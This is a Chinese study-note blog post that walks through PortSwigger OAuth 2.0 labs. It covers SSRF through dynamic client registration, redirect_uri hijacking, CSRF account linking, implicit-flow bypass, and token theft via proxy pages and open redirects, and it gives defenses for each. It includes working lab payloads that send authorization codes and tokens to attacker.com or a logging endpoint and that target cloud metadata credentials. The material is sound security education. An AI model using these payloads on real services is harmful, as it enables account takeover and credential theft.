【学习笔记】OAuth 2.0 安全攻防:从 Portswigger 六大实验看认证漏洞挖掘

OAuth 2.0 已经成为现代 Web 应用的标准认证协议,但在便捷的单点登录背后,隐藏着诸多安全隐患。本文基于 Portswigger Web Security Academy 的六大 OAuth 实验,系统梳理攻击手法、漏洞原理与防御方案,帮助大家建立完整的 OAuth 攻防知识体系。

一、OAuth 2.0 基础:你真的了解授权流程吗?

在深入漏洞之前,我们先厘清 OAuth 2.0 的两种核心模式:

1.1 授权码模式(Authorization Code)

**最安全、最推荐的流程:**其核心设计通过分离授权码(Authorization Code)与访问令牌(Access Token)的传递通道,显著提升安全性。

复制代码
用户点击登录 → 授权服务器返回 code → 后端用 code+client_secret 换 token

典型授权过程:

1)用户发起授权请求

客户端生成授权链接,重定向用户至授权服务器。即网站拼出这个 URL,把用户带到微信的授权页。

bash 复制代码
GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read&state=xyz123

这是第三方应用(客户端)将用户重定向到授权服务器(如 Google、GitHub 或微信登录页面)时构造的链接。

其中:response_type=code:固定值,表明请求授权码。

state:防CSRF攻击的随机字符串。

2)用户登录并授权

用户输入账号密码,并点击"同意授权"。并确认授权范围(如读取个人资料)。

3)返回授权码(Authorization Code)

授权服务器(如 Google、GitHub)对刚才发出的授权请求做出的正面回应。它告诉浏览器:"用户已经同意了,现在请带着这个'临时凭证'跳回到开发者指定的页面去。"

授权服务器生成短期有效(通常≤10分钟)的授权码,通过前端重定向返回客户端:

bash 复制代码
HTTP/302 Found
Location: CALLBACK_URL?code=AUTHORIZATION_CODE&state=xyz123

其中,HTTP/302 Found : 这是一个 HTTP 状态码,表示"临时重定向"。它告诉浏览器不要停在当前页面,而是立即跳转到 Location 标头指定的地址。

Location: 这是浏览器下一步要访问的目标完整 URL。

CALLBACK_URL: 这是你在第一步请求中提供的回调地址(你的后端接口或前端页面)。

  • code=AUTHORIZATION_CODE:

    • 这是最核心的部分! * 这是一个临时的、短寿命的授权码(Authorization Code)

    • 它本身不是 Access Token(不能直接用来调数据),而是一张"取件码"。你的服务器稍后需要用这个 code 去换取真正的 access_token

  • state=xyz123: 这是原样返回的随机字符串。你的客户端必须校验这个值是否与你发送时的一致,以确保这个响应是对应你刚才发出的请求,而不是黑客伪造的。


4)客户端换取访问令牌(Back Channel)

这是 OAuth 2.0 授权流程中最关键、最安全 的一步:客户端在后端使用授权码换取访问令牌(Access Token)(避免前端暴露敏感信息):

bash 复制代码
POST /token
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL&client_id=CLIENT_ID&client_secret=CLIENT_SECRET

其中,**client_secret:**验证客户端身份的关键凭证。

为什么这一步如此重要?

(1)安全隔离 :用户在浏览器里只能看到临时的 code。即便 code 被截获,黑客如果没有你的 client_secret(存在你服务器上),也无法换成真正的令牌。

(2)身份确认 :通过 client_secret,授权服务器可以百分之百确定:"哦,这确实是开发者本人在请求数据。"

(3)一次性消耗code 通常只能使用一次,且会在几分钟内失效。所以拿到 code 后,后端必须"秒换" Token。有效期通常只有 1-10 分钟。

5)授权服务器发放令牌

验证通过后,返回JSON响应,这才是真正想要的"通行证"

bash 复制代码
{
  "access_token": "eyJhbGci...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "def456",
  "scope": "read"
}

其中:

  • access_token: 之后你访问用户数据(如头像、好友列表)时,必须在 Header 里带上它。

  • expires_in: 令牌的有效期(单位:秒)。

  • refresh_token : 可选。当 access_token 过期后,用来刷新获取新的 Token,不需要用户再次登录。

6)客户端访问资源

客户端携带访问令牌请求资源:

bash 复制代码
GET /api/resource
Authorization: Bearer eyJhbGci...

可以看出:

  • 授权码(code)通过浏览器传递

  • Access token 只在后端通道流转

  • 支持 PKCE 扩展,防止 CSRF(注:CSRF跨站请求伪造,通过操纵用户浏览器自动提交请求的攻击方法。CSRF由用户的浏览器自动发起,使用的是用户已经认证通过的凭据,在Web应用上提交的请求或操作不是出自用户的本意)

这个请求是一个标准的 HTTP 资源请求,其核心在于 Authorization 请求头:

  • 客户端发送请求:应用(后端或前端)将令牌放在 Header 中发送给资源服务器。

  • 服务器校验

    • 资源服务器检查令牌是否伪造(校验签名)。

    • 检查令牌是否过期。

    • 检查令牌是否有权访问 /api/resource(校验 scope)。

  • 返回数据:如果校验通过,服务器会返回用户请求的私有数据(通常是 JSON 格式)。

关键防护机制

1.2 隐式授权模式(Implicit)

为单页应用(SPA)设计,但安全性较差

复制代码
用户点击登录 → 授权服务器直接返回 access_token(在 URL #fragment 中)
  • Access token 暴露在浏览器地址栏

  • 通过 JavaScript 提取使用

  • OAuth 2.1 已废弃此模式

1.3 与其他模式的对比

**二、**六大实验全景对比

实验名称 难度 核心漏洞 攻击目标 关键利用点
SSRF via OpenID Dynamic Client Registration ⭐⭐ Practitioner 动态注册端点无认证 + logo_uri SSRF 云环境元数据(内网169.254.169.254) 注册恶意客户端,触发二阶 SSRF
OAuth account hijacking via redirect_uri ⭐⭐ Practitioner redirect_uri 无白名单验证 授权码(code) 构造恶意 redirect_uri 外泄 code
Forced OAuth profile linking ⭐⭐ Practitioner 缺失 state 参数,CSRF 攻击 已登录用户的账户绑定 预获取code,诱使 admin 完成回调
Authentication bypass via OAuth implicit flow ⭐ Apprentice 客户端未验证 token 与用户绑定关系 任意用户账户 替换 email 参数,token 不变
OAuth account hijacking via redirect_uri ⭐⭐ Practitioner redirect_uri 无白名单验证 授权码(code) 构造恶意 redirect_uri 外泄 code
Stealing OAuth access tokens via an open redirect ⭐⭐ Practitioner redirect_uri 目录遍历 + 开放重定向 Access token 利用 ../ 遍历到跳转页面,外泄 token
Stealing OAuth access tokens via a proxy page ⭐⭐ Practitioner redirect_uri 目录遍历 + 不安全 postMessage Access token iframe 劫持 + postMessage 跨域泄漏

三、六大攻击向量深度解析

3.1 攻击向量一:授权服务器配置缺陷

代表实验:SSRF via OpenID Dynamic Client Registration

漏洞原理

  • 动态客户端注册端点(/reg无需认证即可访问

  • logo_uri 参数指定的 URL 会被授权服务器访问以获取 logo

  • 攻击者指向内网地址(169.254.169.254),造成 SSRF


注:SSRF(Server-Side Request Forgery)是一种攻击者操纵服务器发起非预期请求的安全漏洞。攻击者通过控制用户输入(如URL参数),诱导服务器向指定目标发送HTTP请求,从而绕过防火墙访问本应隔离的资源。

漏洞成因

  • 功能设计缺陷:服务端需从外部URL获取数据(如图片加载、网页转码、API聚合),但未对用户提供的URL进行严格验证。
  • 信任边界滥用 :请求源自服务器IP(受信任),可访问内网服务(如数据库、云元数据)、本地主机(127.0.0.1)或敏感协议(file://gopher://

典型路径

bash 复制代码
A[攻击者提交恶意URL] --> B(服务端解析并发起请求)
B --> C{访问目标:内网/本地/云元数据}
C --> D[敏感数据泄露或内网渗透]

利用代码

bash 复制代码
{
    "redirect_uris": ["https://example.com"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

防御方案

    1. 注册端点要求 Initial Access Token
    1. 严格校验所有 URI 参数(白名单域名)
    1. 禁止访问内网网段(169.254.0.0/16, 10.0.0.0/8 等)

3.2 攻击向量二:redirect_uri 劫持

代表实验:OAuth account hijacking via redirect_uri

漏洞原理

  • 授权服务器未验证 redirect_uri 或验证不严格

  • 攻击者将 redirect_uri 改为自己的服务器

  • 受害者授权后,code/token 被发送到攻击者服务器

利用技巧

bash 复制代码
# 恶意授权链接
GET /auth?client_id=xxx&redirect_uri=https://attacker.com/callback&response_type=code

进阶攻击:目录遍历 + 开放重定向组合

javascript 复制代码
# 先利用 ../ 遍历到站内开放重定向点
redirect_uri=https://victim.com/oauth-callback/../post/next?path=https://attacker.com

防御方案

    1. 精确匹配:注册时登记的 URI 必须与请求完全一致
    1. 禁止通配符 :不使用 * 或部分匹配
    1. PKCE 强制:即使 code 被截获也无法使用

3.3 攻击向量三:CSRF 绑定攻击

代表实验:Forced OAuth profile linking

漏洞原理

  • • OAuth 流程缺失 state 参数(CSRF Token)

  • • 攻击者预先将自己的社交账户 绑定到受害者的本地账户

攻击流程

bash 复制代码
1. 攻击者登录自己的账户,开始 OAuth 绑定流程
2. 在授权回调前截获 code(Burp Drop)
3. 构造 CSRF 页面,诱导已登录的 admin 访问
   <iframe src="/oauth-linking?code=ATTACKER_CODE">
4. admin 的浏览器携带 session 完成绑定
5. 攻击者现在可用自己的社交账户登录 admin 账户

关键点:state 参数确保授权请求和回调的会话一致性

防御方案

  • 强制 state 参数:随机不可预测,绑定到用户会话

  • 验证一致性:回调时检查 state 是否匹配

3.4 攻击向量四:隐式流令牌泄漏

代表实验:Authentication bypass via OAuth implicit flow

漏洞原理

  • • 隐式流将 access_token 放在 URL fragment 中(#access_token=xxx

  • • 客户端应用未验证 token 归属,只检查 token 有效性

  • • 攻击者用自己的有效 token + 受害者的 email 完成登录

利用代码

javascript 复制代码
POST /authenticate
{
    "email": "victim@example.com",  // 篡改
    "username": "attacker",
    "token": "ATTACKER_VALID_TOKEN"  // 自己的 token
}

防御方案

  • 弃用隐式流:改用授权码模式 + PKCE

  • 服务端验证:用 token 向 OAuth 服务器请求用户信息,与提交的身份比对

3.5 攻击向量五:代理页面劫持

代表实验:Stealing OAuth access tokens via a proxy page

漏洞原理

  • 站内存在不安全的 postMessage 实现(如评论表单)

  • parent.postMessage(data, '*') 向任意域发送消息,包含当前 URL(含 token)

攻击链

redirect_uri 遍历到 comment-form 页面

→ 页面加载时自动 postMessage 发送 location.href(含 #access_token)

→ 攻击者的 exploit 页面作为 parent 接收消息

→ 外泄 token

利用代码:

javascript 复制代码
<!-- 攻击者页面 -->
<iframe src="https://oauth-server/auth?...&redirect_uri=../post/comment/comment-form&response_type=token"></iframe>
<script>
window.addEventListener('message', e => {
    fetch('/log?token=' + e.data.data)  // 捕获 token
}, false)
</script>

防御方案

  • 指定 targetOriginpostMessage(data, 'https://trusted.com')

  • 验证 event.origin:接收方检查消息来源

  • 不传输敏感数据:避免在 postMessage 中发送 token、session 等

3.6 攻击向量六:开放重定向组合攻击

代表实验:Stealing OAuth access tokens via an open redirect

与代理页面的区别:利用跳转而非 postMessage

攻击链

redirect_uri=../post/next?path=https://attacker.com

→ 授权后跳转到 /post/next?path=attacker.com#token

→ 开放重定向到 attacker.com?token=xxx(从 Referer 或 JS 提取)

防御方案

  • 修复开放重定向:path 参数只允许站内相对路径

  • 多重验证:跳转前检查 URL 是否在白名单

四、漏洞挖掘实战技巧

4.1 信息收集:发现 OAuth 端点

复制代码
1. 访问 /.well-known/openid-configuration
   → 获取 authorization_endpoint, token_endpoint, registration_endpoint
   
2. 检查登录按钮的 href
   → 分析 client_id, redirect_uri, response_type, scope
   
3. 查看页面源码和 JS 文件
   → 寻找 postMessage, addEventListener, window.location 等关键词

4.2、重定向测试矩阵

4.3 关键参数检查清单

  • state:是否存在?是否随机?是否验证?

  • redirect_uri:是否严格匹配?是否允许遍历?

  • scope:是否包含敏感权限?是否可修改?

  • response_type:是否为 token(隐式流)?

  • client_id:是否可枚举?是否与特定 redirect_uri 绑定?

  • PKCE:code_challenge 是否存在?

相关推荐
babe小鑫1 小时前
大数据运维与管理专业学习数据分析的必要性
大数据·运维·学习
山野万里_2 小时前
B站DR_CAN【Advanced控制理论】课程笔记
笔记
2501_901147832 小时前
粉刷房子问题:从DP基础到空间极致优化学习笔记
笔记·学习·动态规划
时代的凡人2 小时前
0215晨间笔记
笔记·晨间日记
im_AMBER2 小时前
Leetcode 122 二叉树的最近公共祖先 | 二叉搜索树迭代器
学习·算法·leetcode·二叉树
CappuccinoRose2 小时前
CSS 语法学习文档(十一)
前端·css·学习·表单控件
AC赳赳老秦2 小时前
轻量化模型浪潮下的关键技术突破:DeepSeek INT4量化优化引领2026端侧算力新纪元
网络·安全·mongodb·web安全·flink·prometheus·deepseek
爱凤的小光3 小时前
VisionPro 3D工具(自我笔记)
笔记·计算机视觉·3d
随意起个昵称3 小时前
Dijstra算法学习笔记
笔记·学习·算法